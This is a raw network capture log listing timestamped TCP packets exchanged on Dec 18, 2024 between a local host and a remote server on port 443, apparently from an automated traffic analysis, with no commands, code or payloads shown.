Dec 18, 2024 08:46:28.735915899 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:28.735982895 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:28.764211893 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:28.764285088 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:28.767309904 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:28.767378092 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:28.889131069 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:28.889250994 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.127401114 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.127504110 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.130184889 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.130258083 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.133439064 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.133512974 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.137439966 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.137501955 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.140636921 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.140733004 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.144001961 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.144081116 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.147126913 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.147187948 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.150801897 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.150856018 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.154901981 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.154963017 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.158065081 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.158133030 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.161389112 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.161461115 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.164499998 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.164556026 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.168652058 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.168715954 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.171798944 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.171865940 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.175128937 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.175198078 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.178699017 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.178760052 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.182049990 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.182128906 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.186145067 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.186216116 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.189258099 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.189323902 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.192572117 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.192647934 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.195828915 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.195893049 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.199847937 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.199919939 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.203016996 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.203094006 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.206729889 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.206804991 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.209899902 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.209971905 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.213195086 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.213279009 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.217294931 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.217365026 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.220482111 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.220550060 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.223787069 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.223844051 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.223870993 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.226927996 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.226999998 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.231045008 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.231112003 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.234183073 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.234251022 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.265142918 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.265336990 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.268280029 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.268346071 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.271671057 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.271742105 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.274843931 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.274914980 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.278851986 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.278925896 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.282059908 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.282128096 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.285330057 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.285404921 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.289464951 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.289535046 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.292686939 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.292757034 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.295916080 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.295986891 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.299040079 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.299108982 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.303196907 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.303267956 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.306351900 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.306425095 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.309669971 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.309735060 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.337285995 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.337500095 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.339721918 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.339795113 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.453490019 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.453686953 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.454984903 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.455055952 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.456338882 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.456522942 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.458106041 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.458183050 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.459580898 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.459645987 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.460611105 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.460681915 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.462558985 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.462629080 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.464287043 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.464353085 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.465354919 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.465425014 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.469793081 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.469872952 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.471265078 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.471343994 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.472345114 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.472417116 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.474121094 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.474189997 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.475948095 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.476016045 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.527988911 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.528214931 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.528393030 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.528460026 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.530226946 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.530313015 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.645072937 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.645260096 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.646657944 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.646728992 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.648267031 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.648336887 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.649791002 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.649862051 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.651392937 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.651458979 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.653227091 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.653294086 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.654206991 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.654275894 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.656101942 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.656163931 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.657190084 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.657258034 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.661463022 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.661530018 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.662940025 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.663005114 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.664063931 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.664127111 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.665817976 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.665879011 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.667671919 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.667736053 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.719038010 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.719114065 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.720824957 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.720899105 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.835987091 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.836090088 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.837176085 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.837240934 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.838560104 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.838625908 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.840389013 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.840449095 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.841691971 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.841763020 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.843518019 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.843583107 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.844691038 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.844755888 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.846493959 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.846554995 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.848537922 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.848611116 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.852063894 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.852133989 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.853615999 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.853691101 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.854690075 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.854758024 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.856753111 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.856827974 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.858304024 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.858376980 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.910223961 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.910353899 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:29.911582947 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:29.911662102 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.027635098 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.027863026 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.028995037 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.029081106 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.030289888 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.030358076 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.030867100 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.030935049 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.032421112 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.032495022 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.033495903 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.033567905 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.035290003 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.035362005 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.037111044 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.037206888 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.038197041 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.038269043 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.043200016 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.043369055 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.043840885 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.043916941 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.045706034 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.045780897 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.047468901 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.047545910 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.048433065 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.048505068 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.050337076 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.050412893 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.102799892 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.102926016 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.104480982 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.104592085 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.218002081 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.218116999 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.220124960 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.220220089 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.221259117 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.221334934 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.222969055 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.223038912 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.224637032 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.224709988 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.226511002 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.226586103 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.227566957 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.227650881 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.229475021 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.229556084 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.230436087 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.230501890 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.234793901 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.234898090 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.235846996 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.235927105 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.237653017 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.237726927 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.239495993 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.239573956 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.240596056 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.240677118 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.292907000 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.293135881 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.293960094 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.294076920 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.408690929 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.408776045 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.410548925 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.410608053 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.411746025 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.411807060 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.412949085 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.413003922 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.414494038 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.414551973 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.416162968 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.416225910 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.418040037 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.418100119 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.419132948 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.419189930 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.420932055 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.420994043 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.426572084 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.426656961 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.427651882 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.427710056 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.428678036 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.428730965 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.429955959 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.430012941 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.431787014 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.431843996 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.483491898 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.483633995 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.485093117 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.485162973 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.599628925 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.599816084 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.601201057 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.601296902 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.602461100 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.602540970 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.604428053 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.604516029 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.605269909 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.605336905 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.607069969 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.607155085 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.608213902 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.608285904 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.610064030 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.610132933 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.611885071 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.611952066 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.616588116 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.616650105 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.617690086 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.617764950 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.619551897 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.619653940 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.620569944 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.620634079 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.622695923 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.622761011 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.624427080 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.624480963 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.675072908 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.675148010 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.676923990 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.677012920 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.791147947 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.791227102 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.793693066 CET	443	49704	51.158.71.131	192.168.2.5
Dec 18, 2024 08:46:30.793765068 CET	49704	443	192.168.2.5	51.158.71.131
Dec 18, 2024 08:46:30.794909000 CET	443	49704	51.158.71.131	192.168.2.5
